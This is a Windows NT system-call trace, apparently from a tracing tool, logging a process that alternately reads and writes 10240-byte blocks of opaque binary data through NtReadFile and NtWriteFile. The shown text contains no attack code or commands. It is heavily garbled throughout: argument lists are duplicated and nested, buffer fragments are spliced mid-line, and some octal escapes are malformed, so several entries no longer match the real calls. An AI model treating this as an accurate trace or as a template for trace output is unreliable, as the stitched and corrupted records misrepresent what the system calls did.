\200\374\2\327\25H\301\342\262\322BT\27\16\20\24hU)@\0\3136\365$\26\256\213\1\322\360\364z\301\33\13\200G\4\2459\22\10\340%-\360\344\200t\21\244\344\327\34$1a\215+\364\307r\241\322\260\256*{\31\1QE\22R\215HQ,\371\332\330\13;\203U\3{.G\343w\24\226\10\30`\337g\325#\11x\212\206\307\337\3214l\327\330\22\377\323J\333X\3\13\372(E\372\232\241\37\257\300!v\262\3\10\13\10$.Lx\24w\32\31\177\306X\14\11\303\355\367\336\246\250\204\\330D\2575Q,\233\220\362\25\305\204.\322\251\272\266\316?\204+\34E}\21BP\355Fwu\365\7;\271\276\2B\242\11\252\200\200\274T\357\2\1h\27\13)Z\361=\370\335\262\375\212Q\206\246\207\225\230\14", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00712  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\211\276\323N,\312$\22\327\2H\262T\233\7q\243^5\367\0()4*\222\256:\7Q\236C\346su\205\366?\37\31\255U\0\13#\31\254\1\21_\222&\257\36.\20\330qM\315Llc6\0\230$\370c\31\26\73\352|\201\345\34\315\367\262\35\267\315\334nY\32\341\255\276\254\332E0\254\311\230\373/\343\x\11\302;\367\332\2\2\14:[\230\254\304\31\37\2049ue\23@\321w\251V\267\12\330f\227o\20~'\335E\370\232\343\300\340\346\246\276>\36\6 \1\240F\213\247\321\11\377_\353F\314\1\314?\24\203\331mf,\14&\200\32ts\204e\247\300\200'4*jAHV\23\1\375\352J!o\270\225\177\307F\246\3239\32\272\7 \320\244\237`\204\251\240A\2d\237`\37\311c\200\360\223\24g \252]\264\33\3743\267[\260r\214 F\328\24hZ\350\262\220\7_K\257\324\372\257\204\23 \30\212\13O\7c\211\27u\202\27\241_\234\370:\212\5j\201\211\357\343k\327\317\265\332\276\350(H\353\237\325?\30\226\7\256\220\25k \301x\233\266\20\235V\300O\310\247\272\252'\12\247D\220\225v\31\320\262Y\346\323(\344\213\311\23"\33\202c\367Y\373\250n\2\302\7?\10(O\233Q:3\367\22\343>8\14\220\7Q\266Pm \30\245\244dP\200[\0aD\22\254[\177J\341\22\253Eg\270\361%\302\12\222]\233\232J`\6[\263\251/~\301\343)\370\243}>|\362\377\335\261\237=\330\307\210\15'\222x\307\14\237\345n\35\316\312\35Y9\210^\340\326!K\7\204\273\34\20718\377\242\341\210N\353Z\311#\324\2005\353L\366\242\221l \272\20\243\370w\13\331\222\206\337\350\3\372\7\27\306Hs\273m\221\301\48\205\317\345N", ) \33\202c\367Y\373\250n\2\302\7?\10(O\233Q:3\367\22\343>8\14\220\7Q\266Pm \30\245\244dP\200[\0aD\22\254[\177J\341\22\253Eg\270\361%\302\12\222]\233\232J`\6[\263\251/~\301\343)\370\243}>|\362\377\335\261\237=\330\307\210\15'\222x\307\14\237\345n\35\316\312\35Y9\210^\340\326!K\7\204\273\34\20718\377\242\341\210N\353Z\311#\324\2005\353L\366\242\221l \272\20\243\370w\13\331\222\206\337\350\3\372\7\27\306Hs\273m\221\301\48\205\317\345N", ) == 0x0
 00713  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "\1\241\377N\244\325\10\22_\35d\262\334\204+q+A\31\367\2107\54\242\215\202:\217N\262CnlY\205~ 3\31%J,\13\253\6\200\1\231@\276&'\1\2\20Pna\315\304sO6\210\207\10\370\353\6:\7\273\365P\201m\3\341\367:\2\233\315Tqu\32i\262\222\254RZ\34\254A\207\327/\224,px\201\335\27\367R\35.\14\262D\264\254L\63\204\261jI\23\310\316[\251\336\250&\330\356\210C\20\3668\361Ep\205\317\300h\371\212\276\266\1* \211\13\34F\3\270\375\11w@\307FD\36\340?\234\234\365m\3563 &\10\5Xs\14z\213\300\108\30*\342^dV\233\36\321\352\302>C\270\35`\353F.\314\25\322\30\14\320,\200L\204!\277m\2\354\200L\37A|\254\360\33\13K "B\230\33t,\233[8m\240 \316\5\24\24\340E\304\262\30\30sK'\313\326\257\14\14\14\30\2\24c\7\353\226;u\12\10\215_\24\347\26\212\215u\255\211g\374G\327G\252\366\276`7d\353\27\312\23\30\36\30\202\220\235t\14\301\360\204\232\20\25I\354O@\270\226\252\257\25\213D\30\212Z\31X\255u\346[7\310\213A\14\16\33\12|\333Ys\267B\2J\30\23\10\240P\267Q\262,\333\22k!\24\14\30\30}\266\330r\14\30-\273HP\10D,a\314\15\200[\367U\315\22#ZK\270y:\356\12\32B\267\232\302\177*[;\266\3~I\374\5\370+b\22|z\340\361\261\27"\364\307\0\22\13\222\360\330 \237mq1\316B\2u9\0A\314\326\251T+\2043\3\2531\260\340\216\341\0Q\307ZA<\370\200\275\364`\366*\216@ 2\17\217\370\377\24\365\222\16\300\304\3r\30;\306\300l\227m\31\336(8\15\320\311N", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) B\230\33t,\233[8m\240 \316\5\24\24\340E\304\262\30\30sK'\313\326\257\14\14\14\30\2\24c\7\353\226;u\12\10\215_\24\347\26\212\215u\255\211g\374G\327G\252\366\276`7d\353\27\312\23\30\36\30\202\220\235t\14\301\360\204\232\20\25I\354O@\270\226\252\257\25\213D\30\212Z\31X\255u\346[7\310\213A\14\16\33\12|\333Ys\267B\2J\30\23\10\240P\267Q\262,\333\22k!\24\14\30\30}\266\330r\14\30-\273HP\10D,a\314\15\200[\367U\315\22#ZK\270y:\356\12\32B\267\232\302\177*[;\266\3~I\374\5\370+b\22|z\340\361\261\27 (108, 0, 0, 0, "\1\241\377N\244\325\10\22_\35d\262\334\204+q+A\31\367\2107\54\242\215\202:\217N\262CnlY\205~ 3\31%J,\13\253\6\200\1\231@\276&'\1\2\20Pna\315\304sO6\210\207\10\370\353\6:\7\273\365P\201m\3\341\367:\2\233\315Tqu\32i\262\222\254RZ\34\254A\207\327/\224,px\201\335\27\367R\35.\14\262D\264\254L\63\204\261jI\23\310\316[\251\336\250&\330\356\210C\20\3668\361Ep\205\317\300h\371\212\276\266\1* \211\13\34F\3\270\375\11w@\307FD\36\340?\234\234\365m\3563 &\10\5Xs\14z\213\300\108\30*\342^dV\233\36\321\352\302>C\270\35`\353F.\314\25\322\30\14\320,\200L\204!\277m\2\354\200L\37A|\254\360\33\13K "B\230\33t,\233[8m\240 \316\5\24\24\340E\304\262\30\30sK'\313\326\257\14\14\14\30\2\24c\7\353\226;u\12\10\215_\24\347\26\212\215u\255\211g\374G\327G\252\366\276`7d\353\27\312\23\30\36\30\202\220\235t\14\301\360\204\232\20\25I\354O@\270\226\252\257\25\213D\30\212Z\31X\255u\346[7\310\213A\14\16\33\12|\333Ys\267B\2J\30\23\10\240P\267Q\262,\333\22k!\24\14\30\30}\266\330r\14\30-\273HP\10D,a\314\15\200[\367U\315\22#ZK\270y:\356\12\32B\267\232\302\177*[;\266\3~I\374\5\370+b\22|z\340\361\261\27"\364\307\0\22\13\222\360\330 \237mq1\316B\2u9\0A\314\326\251T+\2043\3\2531\260\340\216\341\0Q\307ZA<\370\200\275\364`\366*\216@ 2\17\217\370\377\24\365\222\16\300\304\3r\30;\306\300l\227m\31\336(8\15\320\311N", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) , 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00714  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\342\33\336\30\366\361\257\332\311\277\370|\0\20\237\237F}I\204`\377\357{\3\23i\332\342\207\3470\16\316\25\35\231\210\314D\233\220\340]\10\310HD\240\210R"(dY\15\372\36R\34\336\201e\217.\262\324\226\2352\253f\325\323\350\353\370\5\265\14\230\26'\25D\32\2308\227\336H\333\306\307S\360\206\35x\5K\222\3\370\245\310/\11"V_\267"\322x\23\2279o\271N\237vQx\11O\275\31c\256\233\1\373\26\234\304m\2507\200\367\240\341\305\235\274\343\265\344\2553\234.w\244A\225.\2166\217\30\262\246\227\224\1J\236\327W\202\21s\343\366\26\353\20\200\364\3770\212'\255m<\12\312\216\246\355\275\217\172.~\215\224)\340>C\275\311d\211\235\30\303\11\270\13t\353\254\3\232\302\7\336\374\314\5\221\36K)D\252\347\35!\10\2367\234\231\312d\26\347\33\227\235\11\21\275\35Q{\244K\36c\300\250\360\16%E\31\3570\330s\215^\263T|\333\31\305Fy\211t\350\6*v\265\15\3u\203\355L\234~\317|\207\33(\373\30\327#\267A\15\244!<\375\37\5j\315*\32\24353b\227\3w\30\201Jq\364\1oQ\254\2\232Q\10\356\236\346\265JD\254\16NR8\243*7\32\25`bqd\254}f\365xY\4D\363\251\261\353\277\230\3738\260\226T\344l\325Zy\365;\24\364\14Z~\24<\10\226\222\250\237\207\4@}o`y\313\322\0\326\25h\211j\217\31\375\2149B3\367\317W\14\252\36\330\256\236\260%s\2004\333aKM\2218\237$\342\302y\6/\307yK8\217\3103-s\204\31\214\350\251\236\357f\20\303p\276u\26X\14\356\340\345\4c\17\245P\203\36*\3\3305m=\331\20lS\300>\253\214;\214\224D\2118\15\353", ) (dY\15\372\36R\34\336\201e\217.\262\324\226\2352\253f\325\323\350\353\370\5\265\14\230\26'\25D\32\2308\227\336H\333\306\307S\360\206\35x\5K\222\3\370\245\310/\11 (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\342\33\336\30\366\361\257\332\311\277\370|\0\20\237\237F}I\204`\377\357{\3\23i\332\342\207\3470\16\316\25\35\231\210\314D\233\220\340]\10\310HD\240\210R"(dY\15\372\36R\34\336\201e\217.\262\324\226\2352\253f\325\323\350\353\370\5\265\14\230\26'\25D\32\2308\227\336H\333\306\307S\360\206\35x\5K\222\3\370\245\310/\11"V_\267"\322x\23\2279o\271N\237vQx\11O\275\31c\256\233\1\373\26\234\304m\2507\200\367\240\341\305\235\274\343\265\344\2553\234.w\244A\225.\2166\217\30\262\246\227\224\1J\236\327W\202\21s\343\366\26\353\20\200\364\3770\212'\255m<\12\312\216\246\355\275\217\172.~\215\224)\340>C\275\311d\211\235\30\303\11\270\13t\353\254\3\232\302\7\336\374\314\5\221\36K)D\252\347\35!\10\2367\234\231\312d\26\347\33\227\235\11\21\275\35Q{\244K\36c\300\250\360\16%E\31\3570\330s\215^\263T|\333\31\305Fy\211t\350\6*v\265\15\3u\203\355L\234~\317|\207\33(\373\30\327#\267A\15\244!<\375\37\5j\315*\32\24353b\227\3w\30\201Jq\364\1oQ\254\2\232Q\10\356\236\346\265JD\254\16NR8\243*7\32\25`bqd\254}f\365xY\4D\363\251\261\353\277\230\3738\260\226T\344l\325Zy\365;\24\364\14Z~\24<\10\226\222\250\237\207\4@}o`y\313\322\0\326\25h\211j\217\31\375\2149B3\367\317W\14\252\36\330\256\236\260%s\2004\333aKM\2218\237$\342\302y\6/\307yK8\217\3103-s\204\31\214\350\251\236\357f\20\303p\276u\26X\14\356\340\345\4c\17\245P\203\36*\3\3305m=\331\20lS\300>\253\214;\214\224D\2118\15\353", ) \322x\23\2279o\271N\237vQx\11O\275\31c\256\233\1\373\26\234\304m\2507\200\367\240\341\305\235\274\343\265\344\2553\234.w\244A\225.\2166\217\30\262\246\227\224\1J\236\327W\202\21s\343\366\26\353\20\200\364\3770\212'\255m<\12\312\216\246\355\275\217\172.~\215\224)\340>C\275\311d\211\235\30\303\11\270\13t\353\254\3\232\302\7\336\374\314\5\221\36K)D\252\347\35!\10\2367\234\231\312d\26\347\33\227\235\11\21\275\35Q{\244K\36c\300\250\360\16%E\31\3570\330s\215^\263T|\333\31\305Fy\211t\350\6*v\265\15\3u\203\355L\234~\317|\207\33(\373\30\327#\267A\15\244!<\375\37\5j\315*\32\24353b\227\3w\30\201Jq\364\1oQ\254\2\232Q\10\356\236\346\265JD\254\16NR8\243*7\32\25`bqd\254}f\365xY\4D\363\251\261\353\277\230\3738\260\226T\344l\325Zy\365;\24\364\14Z~\24<\10\226\222\250\237\207\4@}o`y\313\322\0\326\25h\211j\217\31\375\2149B3\367\317W\14\252\36\330\256\236\260%s\2004\333aKM\2218\237$\342\302y\6/\307yK8\217\3103-s\204\31\214\350\251\236\357f\20\303p\276u\26X\14\356\340\345\4c\17\245P\203\36*\3\3305m=\331\20lS\300>\253\214;\214\224D\2118\15\353", ) == 0x0
 00715  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "j\4\362\30~\356\203\332A\240\324|\210\17\263\237\316be\204\350\340\303{\213\14E\332j\230\3130\206\3219\35\21\227\340D\23\217\314]\200\327dD(\227~"\240{u\15r\1~\34V\236I\217\246\255\370\226\25-\207f]\314\304\353p\32\231\14\20\11\13\25\314\5\2648\37\301d\333N\330\177\360\16\2T\5\303\215/\370-\327\3\11\252Is\267\252\315T\23\37&C\271\306\200ZQ\360\26c\275\221|\202\233\211\344:\234Lr\2047\10\350\214\341M\202\220\343=\373\2013\241[\244\311\212\2\216\276\2204\262.\210\270\1\302\201\373W\12\16_\343~\11\307\20\10\353\3230\28\201m\264\25\346\216.\362\221\217\207-\2~\5\213\5\340\266\\221\311\354\226\261\30K\26\224\13\374\364\200\3\22\335+\336t\323)\221\226T\5D"\3701!\200\201\33\234\21\325H\26o\4\273\235\201\16\221\35\331d\210K\226|\354\250x\21\11E\221\360\34\330\373\222r\263\334c\367\31MYU\211\374\367**\376\252!\3\375\234\301L\24a\343|\17\4\4\373\220\310\17\267\311\22\210!\264\3423\5\342\322\6\32+*\37b\37\34[\30\11U]\364\211p}\254\212\205}\10f\201\312\265\302[\200\16\306M\24\243\242(6\25\350}]d$bJ\365\360F(D{\266\235\3537\207\32788\211x\344\344\312vy}$8\364\204ER\24\264\27\272\222 \200\253\4\310bC`\361\324\376\0^\12D\211\342\2205\375\4&n3\177\320{\14"\1\364\256\26\257\11s\10+\367a\303R\2758\27;\316\302\361\31\3\307\361T\24\217@,\1s\14\6\240\350!\201\303f\230\334\\276\375\11t\14f\377\311\4\353\20\211P\13\1\6\3P*A=Q\17@SH!\207\214\263\223\270D\1'!\353", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \240{u\15r\1~\34V\236I\217\246\255\370\226\25-\207f]\314\304\353p\32\231\14\20\11\13\25\314\5\2648\37\301d\333N\330\177\360\16\2T\5\303\215/\370-\327\3\11\252Is\267\252\315T\23\37&C\271\306\200ZQ\360\26c\275\221|\202\233\211\344:\234Lr\2047\10\350\214\341M\202\220\343=\373\2013\241[\244\311\212\2\216\276\2204\262.\210\270\1\302\201\373W\12\16_\343~\11\307\20\10\353\3230\28\201m\264\25\346\216.\362\221\217\207-\2~\5\213\5\340\266\\221\311\354\226\261\30K\26\224\13\374\364\200\3\22\335+\336t\323)\221\226T\5D (108, 0, 0, 0, "j\4\362\30~\356\203\332A\240\324|\210\17\263\237\316be\204\350\340\303{\213\14E\332j\230\3130\206\3219\35\21\227\340D\23\217\314]\200\327dD(\227~"\240{u\15r\1~\34V\236I\217\246\255\370\226\25-\207f]\314\304\353p\32\231\14\20\11\13\25\314\5\2648\37\301d\333N\330\177\360\16\2T\5\303\215/\370-\327\3\11\252Is\267\252\315T\23\37&C\271\306\200ZQ\360\26c\275\221|\202\233\211\344:\234Lr\2047\10\350\214\341M\202\220\343=\373\2013\241[\244\311\212\2\216\276\2204\262.\210\270\1\302\201\373W\12\16_\343~\11\307\20\10\353\3230\28\201m\264\25\346\216.\362\221\217\207-\2~\5\213\5\340\266\\221\311\354\226\261\30K\26\224\13\374\364\200\3\22\335+\336t\323)\221\226T\5D"\3701!\200\201\33\234\21\325H\26o\4\273\235\201\16\221\35\331d\210K\226|\354\250x\21\11E\221\360\34\330\373\222r\263\334c\367\31MYU\211\374\367**\376\252!\3\375\234\301L\24a\343|\17\4\4\373\220\310\17\267\311\22\210!\264\3423\5\342\322\6\32+*\37b\37\34[\30\11U]\364\211p}\254\212\205}\10f\201\312\265\302[\200\16\306M\24\243\242(6\25\350}]d$bJ\365\360F(D{\266\235\3537\207\32788\211x\344\344\312vy}$8\364\204ER\24\264\27\272\222 \200\253\4\310bC`\361\324\376\0^\12D\211\342\2205\375\4&n3\177\320{\14"\1\364\256\26\257\11s\10+\367a\303R\2758\27;\316\302\361\31\3\307\361T\24\217@,\1s\14\6\240\350!\201\303f\230\334\\276\375\11t\14f\377\311\4\353\20\211P\13\1\6\3P*A=Q\17@SH!\207\214\263\223\270D\1'!\353", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \1\364\256\26\257\11s\10+\367a\303R\2758\27;\316\302\361\31\3\307\361T\24\217@,\1s\14\6\240\350!\201\303f\230\334\\276\375\11t\14f\377\311\4\353\20\211P\13\1\6\3P*A=Q\17@SH!\207\214\263\223\270D\1'!\353", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00716  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\2338?\223\3636p\15r\367S\3\207^\211\240\345r\354+\261;\360?\301\245\1\335&\357N\215\3251\356\10s\27Y\323\274\322[\367E8\17\363g\\3774\305\16$\250L\14w~\334jO*\313p\273c\322\232\306\234\347w\373\303%\330\212\256\237\320+\366\33\1uT-\310\271\25\251\372. ^j0\331\346\340\232=|}^\333\225Z\214Ne\247-\323\11\323[c\227\217\303wa\244\12N\4P\14\321\303\323MPaG\245rj\332\353\205\340!\261K\373R\22c^\376c\223\211\4C\226\24g\21ha\35}:\1\214\212<\24G\271\216\265Y\353\226\202&\27\251D\366\25\330\374#\262@\355\240M\342\17y.6\27\37F!Kd\322\222\327\12\303\336L7\371\244s\301O'\265*\343dW\1\10>\340:\16\223\272\11\364\212"*u\252y\333\240BJ\353F\216\201=\35\374\376J\226\215a!\3\310v\352C63\\267d\366i@S1\236?\341\337333\240BJ\353F\216\201=\35\374\376J\226\215a!\3\310v\352C63\\267d\366i@S1\236?\341\33716\224.\336\215\336\324\20\365\366\331\227`2\363\370Q\376\3461\300\306\320\333\245\224F\13W\271\\330Q\204\361\202\23L\336\350W}QA\374\26\366\273f\347\363un\222W\3w\3623\202\254\204\246D\235\372\360\300`\33\254\344\207y)\360e\250\3660\270\376M\353\272\337\206\213l\34Q\10\361\276\312\340\325\355\256;\365\23\27\4pa\327\27\362\15_'\276$/5\372:\352D\216\37cx\205\341\315nw\370+\22\261h\301\353\227y\353\245\271\37M\13\347\257\233^7\215\10\31\250\277\335\333\263\277D\360\223\347J\301bu\245\7\230\377\324\3\0L.\303\311\326.\340%\35\25\310\203\325Q\201\323\2168\373\361\30Z\367P\234\366\12\10\262\34\12\356\24a|p\351\27z\214c3\277\206^\1!", ) == 0x0
 00717  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "\23'\23\223{)\\15\372\350\177\3\17A\245\240mm\300+9$\334?I\272-\335\256\360b\215].\302\10\373\10u\3234\315w\367\315'#\363\357C\3234M\36\32$ S w\366\303FO\242\324\\273\353\315\266\306\24\370[\373K:\364\212&\200\374+~\4-u\3342\344\271\235\266\326.\250AF0Q\371\314\232\265cQ^S\212v\214\306z\213-[\26\377[\353\210\243\303\377~\210\12\306\33|\14Y\334\377M\330~k\245\372u\366\353\15\377\15\261\303\344~\22\353A\322c\33\226(C\36\13K\21\340~1}\262\36\240\212\264\13k\271\6\252u\353\36\235\12\27![\332\25P\343\17\262\310\362\214Mj\20U.\276\103F\251TH\322\32\310&\303VS\33\371,l\355O\257\252\6\343\354H-\10\266\377\26\16\33\245%\364\2=\6u"f\367\240\312U\307F\6\236\21\35t\341f\226\5~\15\3@i\306C\276,p\267\354\351E@\333.\262?i\300\20M\206\213\2\336\5\301\370\20}\351\365\227\350-\337\370\331\341\3121H\331\374\333-\213j\13\337\246p\330\331\233\335\202\233S\362\350\337b}At\11\332\273\356\370\337u\346\215{\3\377\355\37\202$\233\212D\25\345\334\300\350\4\200\344\17f\5\360\355\267\33200\341a\3532\300\252\213\344\3}\10y\241\346\340]\362\202;}\14;\4\370~\373\27z\22s'6;\35r%\306D\6\0Ox\15\376\341n\377\347\7\229w\355\353\37f\307\2451\0a\13o\260\267^\277\222$\31 \240\361\333;\240h\360\33\370f\301\352j\211\7\20\340\370\3\210S\2\303A\311\2\340\255\29\310\13\312}\201[\221\24\373y\7v\367\330\203\332\12\200\2550\12f\13M|\370\366;z\4|\37\277\16A-!", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) f\367\240\312U\307F\6\236\21\35t\341f\226\5~\15\3@i\306C\276,p\267\354\351E@\333.\262?i\300\20M\206\213\2\336\5\301\370\20}\351\365\227\350-\337\370\331\341\3121H\331\374\333-\213j\13\337\246p\330\331\233\335\202\233S\362\350\337b}At\11\332\273\356\370\337u\346\215{\3\377\355\37\202$\233\212D\25\345\334\300\350\4\200\344\17f\5\360\355\267\33200\341a\3532\300\252\213\344\3}\10y\241\346\340]\362\202;}\14;\4\370~\373\27z\22s'6;\35r%\306D\6\0Ox\15\376\341n\377\347\7\229w\355\353\37f\307\2451\0a\13o\260\267^\277\222$\31 \240\361\333;\240h\360\33\370f\301\352j\211\7\20\340\370\3\210S\2\303A\311\2\340\255\29\310\13\312}\201[\221\24\373y\7v\367\330\203\332\12\200\2550\12f\13M|\370\366;z\4|\37\277\16A-!", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00718  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\270>\4\336\36\23\307'\236\34z\15\16\341\273\254\205\3;\213W$\307uJ\212:\13\242\241\351\237d9\307\202F\354Z\323\317\327\213\347\353\7\240\272\204^l\306\34f\4\363,-\4\267t\341w\326\16\225\255\314Jt\273\211a\364\31\310\257))0[H\20\371\374\32\353\36\25\247\377\213\321m\304\3764\36\27\263\320\321)\236\37\225\266\2598A2j\375(*\232\342\213c\237z\24\232\267\3704\3365\24\331\14\364 n\333_\234Ft\4\27\373\375\232\370\221!I\203Y\253B\245\30\25!\361\236\2166\255\306\274\236\312<\261\376\1\270\04UI\15}V\304\376{Q\265\347\245;\237\314\224G\266}\27\254D|?$\10&/\350\210\361\215\272\300\350\327_\211\201\242_\335\367\317`\342i\354\2769\33ch\203J~u\227g)\315\256X($\321\35\300\24\377i\3670Q\237\16\243d\227$R\314\33\27\270i\223q\350f\34\351\211}\2241T\237\5RNcN\336s\7\361[\14T2\0\200\213i\27\31\377$\27c e\264\333\16\226)\24\204i\27b\13\242\0t\336m\251\12O\312M\2342\32i\250\20\20\363\251j\333\203\252\320j\213Q\261ZCkI\272\223\31\206\26,\360\211[<\344\236\36\21\334\200\22\202[7\217\214\10\323\317\247\352\11\235B[Y\372,\376\213\23\255\302\275\204W\233\205\236\316\16N&h(d\177sT\31\332i\213\275\321\245\216\252\177\20\316\366\243\232\335\342|\327\217\376\25\361;\363\27\225/\207\10\360\213\215\340Z\36\337\17\7\373\337\2561v6L\354B-\364%6\255\26\246\317\206\246\220\210z\6\32&\243\252\337\241\11\371\345\20l)\30\235c\34c\310A~\361F~4*A\14'\372m\347 0$\373\34\247\4\263\360_\214", ) , ) == 0x0
 00719  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "0!(\336\226\14\353'\26\3V\15\206\376\227\254\15\34\27\213\337;\353u\302\225\26\13*\276\305\237\354&47\12Y\300Z[\320\373\213o\364+\2402\233rlN\3J\4{3\1\4?k\315w^\21\271\255DUX\273\1~\330\31@\260\5)\270Dd\20q\3436\353\226\12\213\377\3\316A\304v+2\27;\317\375)\26\0\271\266\235&\24A\272u\321(\242\205\316\213\353\200V\24\22\250\3244V*8\331\204\353\14nS@\260F\374\33;\373u\205\324\221\251V\257Y#]\211\30\235>\335\236\6)\201\3064\201\346<9\0\32\10\37\30U\301\22QVL\341WQ=\370\211;\27\323\270G>b;\254\314c\23$\2009\3\350\0\356\241\272H\367\373_\1\236\216_U\350\343`jv\300\276\261\4Oh\13URu\37x\5\315&G\4$Y\2\354\24wv\3330\331\200"\243\354\210\10RD\4;\270\341\214]\350\356\3\305\211\365\213\35T\27\32~N\353Q\362s\217\356w\14\334-,\200\3v;\31w;;c\250z\230\333\206\211\5\24\14v;b\203\275,tVr\205\12\307\325a\234\272\5E\250\230\17\337\251\342\304\257\252Xu\247Q9Eok\301\245\277\31\16\11\0\360\1D\20\344\26\1=\334\10\15\256[\277\220\240\10[\320\213\352\201\202n[\321\345\0\376\3\14\201\3025\233{\233\15\201\342\16\3069D(\354`_T\221\305E\2135\316\211\216"`<\316~\274\266\335jc\373\217v\12\335;{\10\271/\17\27\334\213\5\377v\36W\20+\373W\261\35v\276S\300B\245\353\116%\11\212\317\16\271\274\210\362\316&+\265\363\241\201\346\311\20\34464\235\353\3O\310\311a\335F\366+\6A\2048\326mo?\34$s\3\213\4;\357s\214", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \243\354\210\10RD\4;\270\341\214]\350\356\3\305\211\365\213\35T\27\32~N\353Q\362s\217\356w\14\334-,\200\3v;\31w;;c\250z\230\333\206\211\5\24\14v;b\203\275,tVr\205\12\307\325a\234\272\5E\250\230\17\337\251\342\304\257\252Xu\247Q9Eok\301\245\277\31\16\11\0\360\1D\20\344\26\1=\334\10\15\256[\277\220\240\10[\320\213\352\201\202n[\321\345\0\376\3\14\201\3025\233{\233\15\201\342\16\3069D(\354`_T\221\305E\2135\316\211\216 (108, 0, 0, 0, "0!(\336\226\14\353'\26\3V\15\206\376\227\254\15\34\27\213\337;\353u\302\225\26\13*\276\305\237\354&47\12Y\300Z[\320\373\213o\364+\2402\233rlN\3J\4{3\1\4?k\315w^\21\271\255DUX\273\1~\330\31@\260\5)\270Dd\20q\3436\353\226\12\213\377\3\316A\304v+2\27;\317\375)\26\0\271\266\235&\24A\272u\321(\242\205\316\213\353\200V\24\22\250\3244V*8\331\204\353\14nS@\260F\374\33;\373u\205\324\221\251V\257Y#]\211\30\235>\335\236\6)\201\3064\201\346<9\0\32\10\37\30U\301\22QVL\341WQ=\370\211;\27\323\270G>b;\254\314c\23$\2009\3\350\0\356\241\272H\367\373_\1\236\216_U\350\343`jv\300\276\261\4Oh\13URu\37x\5\315&G\4$Y\2\354\24wv\3330\331\200"\243\354\210\10RD\4;\270\341\214]\350\356\3\305\211\365\213\35T\27\32~N\353Q\362s\217\356w\14\334-,\200\3v;\31w;;c\250z\230\333\206\211\5\24\14v;b\203\275,tVr\205\12\307\325a\234\272\5E\250\230\17\337\251\342\304\257\252Xu\247Q9Eok\301\245\277\31\16\11\0\360\1D\20\344\26\1=\334\10\15\256[\277\220\240\10[\320\213\352\201\202n[\321\345\0\376\3\14\201\3025\233{\233\15\201\342\16\3069D(\354`_T\221\305E\2135\316\211\216"`<\316~\274\266\335jc\373\217v\12\335;{\10\271/\17\27\334\213\5\377v\36W\20+\373W\261\35v\276S\300B\245\353\116%\11\212\317\16\271\274\210\362\316&+\265\363\241\201\346\311\20\34464\235\353\3O\310\311a\335F\366+\6A\2048\326mo?\34$s\3\213\4;\357s\214", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) , 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00720  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\2332\247\274\13%\22\334u*a\15\202\226-\241\216\303\352\0\206fP\364\356\324\6\2637\220{\2_\32\271\32O\26\350\231\22>$\17\14\214\13\353\243Z\310\35\3304(\202q\2051\257\330\366Q\217\200O=0\32\6Z\11\200\221\270c\327<\14 7\320xp\20\255\342\207\373\211H\177\36c\340-\0C\232;\14\3722\0IWy|#'(\270\177\\1\17\354Kn\0\250\334\303T\271\113\20\\14\202\265\302\31\213~\202\20w\25\304~3t\265v{PH\11K\34\307\272\207\255\32\343\200D\221+T\353\332H\177\246\305jX_\337\378\360\220'\222\240\270\222\\30\177\273\177\300\310^\351\261Ro!\211\202\235\307.\221\215g+4\217\204\222\201&f\320 F-d\354\217\204\33\24&\345\233\330O\227\330\13\354\3\23DyP"\237.\22/\231\227\220\360\1\34\310\354h'\230q\277\245\312\331rtLI\325\272\320\202\30\233S%\35\334Z\200\244S\331\250\267\271\202\214\36\365\233\311\302\37\213B\210\263#\243\237\323\260\251$\322r\251k\1\375\221\35T\255\2458\27drA\261\226#\320\261t\20j\257\353#\273\177\301\220{\212x\257\17\3403\17|\212h\350\356\374\305BJ\253p\250C\231\5S;\374\216X.\213\217\336\306\3\232z\367\332\345\30'\4\302\300)\10\200\23\272e\321\211\13\20\234\14\34\321\211IY\235?\10\14\240T)\277\315\25S0\302j\344\350\311\27J\2555\343Bm\202\30\365[+\360#\13\0\30\322\312:\177h\27w\12B\257\375\254\247\205\356\20\373\363\356\264\263\2\320\3515\357\26-\354$t\217\323\374z\261\241ww\224Q\14\243\346\253\367\240\357a\21\344\376i\250\213j\1\213UI\341\1\204\5\344\1\210\236r\340?\322\316\200", ) 